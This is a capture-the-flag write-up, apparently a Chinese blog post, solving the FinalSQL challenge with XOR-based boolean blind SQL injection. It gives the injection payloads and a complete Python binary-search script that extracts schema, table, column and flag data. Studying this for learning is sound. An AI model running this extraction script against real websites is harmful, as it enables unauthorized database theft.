[极客大挑战 2019]FinalSQL

40 篇文章 1 订阅
38 篇文章 0 订阅

[极客大挑战 2019]FinalSQL

先骂出题人

出题人是真的狗,废话不多说先放最后爆破的结果:

cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{01d295cf-0c9c-44db-98ca-c7877048000a}

真的傻了都,还好二分法比较给力,而且用代码解放双手,不然寄刀片了。

找注入点

好好做题。
在这里插入图片描述
提示用python爆破盲注了,神秘代码是啥,点一下发现url变了:

http://c7f4deb2-e4eb-4cec-a2b4-6014fb5b6c2d.node3.buuoj.cn/search.php?id=1

注入点应该是这里了,题目都提示了盲注,那想来一些关键词比如order by union 啥的都用不了了。

然后确实也不能用。

盲注的话主要有三个,布尔、时间、报错。
本题是基于布尔的盲注。

首先测试一下:

?id=1^1
?id=1^0

在这里插入图片描述
在这里插入图片描述
这里使用异或操作来进行注入,1^1=0,0^0=0,1^0=1

构造payload:

?id=1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))=105)^1

在这里插入图片描述
然后构造脚本:

import requests
import time

url = "http://c7f4deb2-e4eb-4cec-a2b4-6014fb5b6c2d.node3.buuoj.cn/search.php?"
temp = {"id" : ""}
column = ""
for i in range(1,1000):
    time.sleep(0.06)
    low = 32
    high =128
    mid = (low+high)//2
    while(low<high):
        #库名
        temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" %(i,mid)
        #表名
        #temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)
        #字段名
        #temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
        #内容
        #temp["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)
        r = requests.get(url,params=temp)
        time.sleep(0.04)
        print(low,high,mid,":")
        if "Click" in r.text:
            low = mid+1
        else:
            high = mid
        mid =(low+high)//2
    if(mid ==32 or mid ==127):
        break
    column +=chr(mid)
    print(column)
    
print("All:" ,column)

爆到最后的flag已经贴在前面了,真的狗。
在这里插入图片描述

  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值